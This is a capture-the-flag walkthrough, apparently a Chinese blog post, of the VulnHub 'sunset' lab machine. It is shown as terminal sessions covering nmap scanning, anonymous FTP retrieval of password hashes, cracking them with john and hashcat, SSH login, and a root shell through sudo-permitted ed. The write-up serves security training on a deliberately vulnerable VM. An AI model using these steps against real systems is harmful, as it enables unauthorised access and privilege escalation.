root@kali:~# nmap -sn -v 192.168.56.* Nmap scan report for 192.168.56.123 Host is up (0.00016s latency). MAC Address: 08:00:27:89:F0:14 (Oracle VirtualBox virtual NIC)
1 2 3 4
root@kali:~# nmap -v -p- -sV 192.168.56.123 PORT STATE SERVICE VERSION 21/tcp open ftp pyftpdlib 1.5.5 22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0)
1 2 3 4 5 6 7
root@kali:~# nmap -p 21,22 -v -A -T4 --script=vuln 192.168.56.123 PORT STATE SERVICE VERSION 21/tcp open ftp pyftpdlib 1.5.5 |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_sslv2-drown: 22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0) |_clamav-exec: ERROR: Script execution failed (use -d to debug)
root@kali:~/vulnhub/sunset# ftp 192.168.56.123 Connected to 192.168.56.123. 220 pyftpdlib 1.5.5 ready. Name (192.168.56.123:root): anonymous 331 Username ok, send password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 Active data connection established. 125 Data connection already open. Transfer starting. -rw-r--r-- 1 root root 1062 Jul 29 2019 backup 226 Transfer complete. ftp> get backup local: backup remote: backup 200 Active data connection established. 125 Data connection already open. Transfer starting. 226 Transfer complete. 1062 bytes received in 0.01 secs (135.0579 kB/s) ftp> quit 221 Goodbye. root@kali:~/vulnhub/sunset# ls backup root@kali:~/vulnhub/sunset# cat backup CREDENTIALS: office:$6$$9ZYTy.VI0M7cG9tVcPl.QZZi2XHOUZ9hLsiCr/avWTajSPHqws7.75I9ZjP4HwLN3Gvio5To4gjBdeDGzhq.X. datacenter:$6$$3QW/J4OlV3naFDbhuksxRXLrkR6iKo4gh.Zx1RfZC2OINKMiJ/6Ffyl33OFtBvCI7S4N1b8vlDylF2hG2N0NN/ sky:$6$$Ny8IwgIPYq5pHGZqyIXmoVRRmWydH7u2JbaTo.H2kNG7hFtR.pZb94.HjeTK1MLyBxw8PUeyzJszcwfH0qepG0 sunset:$6$406THujdibTNu./R$NzquK0QRsbAUUSrHcpR2QrrlU3fA/SJo7sPDPbP3xcCR/lpbgMXS67Y27KtgLZAcJq9KZpEKEqBHFLzFSZ9bo/ space:$6$$4NccGQWPfiyfGKHgyhJBgiadOlP/FM4.Qwl1yIWP28ABx.YuOsiRaiKKU.4A1HKs9XLXtq8qFuC3W6SCE4Ltx/
root@kali:~/vulnhub/sunset# john hash Warning: detected hashtype"HMAC-SHA256", but the string is also recognized as "HMAC-SHA512" Use the "--format=HMAC-SHA512" option to force loading these as that type instead Warning: only loading hashes of type"HMAC-SHA256", but also saw type"sha512crypt" Use the "--format=sha512crypt" option to force loading hashes of that type instead Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x]) Will run 4 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 10 candidates buffered for the current salt, minimum 32 needed for performance. Warning: Only 11 candidates buffered for the current salt, minimum 32 needed for performance. Warning: Only 29 candidates buffered for the current salt, minimum 32 needed for performance. Warning: Only 20 candidates buffered for the current salt, minimum 32 needed for performance. Warning: Only 26 candidates buffered for the current salt, minimum 32 needed for performance. Warning: Only 29 candidates buffered for the current salt, minimum 32 needed for performance. Warning: Only 8 candidates buffered for the current salt, minimum 32 needed for performance. Warning: Only 16 candidates buffered for the current salt, minimum 32 needed for performance. Warning: Only 31 candidates buffered for the current salt, minimum 32 needed for performance. Almost done: Processing the remaining buffered candidate passwords, if any. Warning: Only 15 candidates buffered for the current salt, minimum 32 needed for performance. Further messages of this type will be suppressed. To see less of these warnings, enable'RelaxKPCWarningCheck'in john.conf Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist Proceeding with incremental:ASCII
D:\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -a 0 -m 1800 password.txt rockyou.txt hashcat (v5.1.0) starting...
* Device #1: WARNING! Kernel exec timeout is not disabled. This may cause "CL_OUT_OF_RESOURCES" or related errors. To disable the timeout, see: https://hashcat.net/q/timeoutpatch * Device #2: Intel's OpenCL runtime (GPU only) is currently broken. We are waiting for updated OpenCL drivers from Intel. You can use --force to override, but do not report related errors. nvmlInit(): Unknown Error
Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256
ATTENTION! Pure (unoptimized) OpenCL kernels selected. This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance. If you want to switch to optimized OpenCL kernels, append -O to your commandline.
root@kali:~# ssh sunset@192.168.56.123 The authenticity of host '192.168.56.123 (192.168.56.123)' can't be established. ECDSA key fingerprint is SHA256:n9ATwmONo6fCyPblqlvcO7WcIWZJMqBaqDdo/jYnLPI. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.56.123' (ECDSA) to the list of known hosts. Enter passphrase for key '/root/.ssh/id_rsa': sunset@192.168.56.123's password: Linux sunset 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u1 (2019-07-19) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Jul 28 20:52:38 2019 from 192.168.1.182 sunset@sunset:~$ id uid=1000(sunset) gid=1000(sunset) groups=1000(sunset),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner) sunset@sunset:~$ whoami sunset sunset@sunset:~$ ls user.txt sunset@sunset:~$ cat user.txt 5b5b8e9b01ef27a1cc0a2d5fa87d7190 sunset@sunset:~$ sudo -l Matching Defaults entries for sunset on sunset: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sunset may run the following commands on sunset: (root) NOPASSWD: /usr/bin/ed sunset@sunset:~$ sudo /usr/bin/ed id ? !/bin/sh # id uid=0(root) gid=0(root) groups=0(root) # whoami root # pwd /home/sunset # cd /root # ls flag.txt ftp server.sh # cat flag.txt 25d7ce0ee3cbf71efbac61f85d0c14fe #
知识点总结
ftp anonymous用户免密码登录
john破解linux sha512 hash值
hashcat破解linux sha512 hash值
sudo无需密码ed通过!/bin/sh提权
Game over
不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this…It’s a pity…
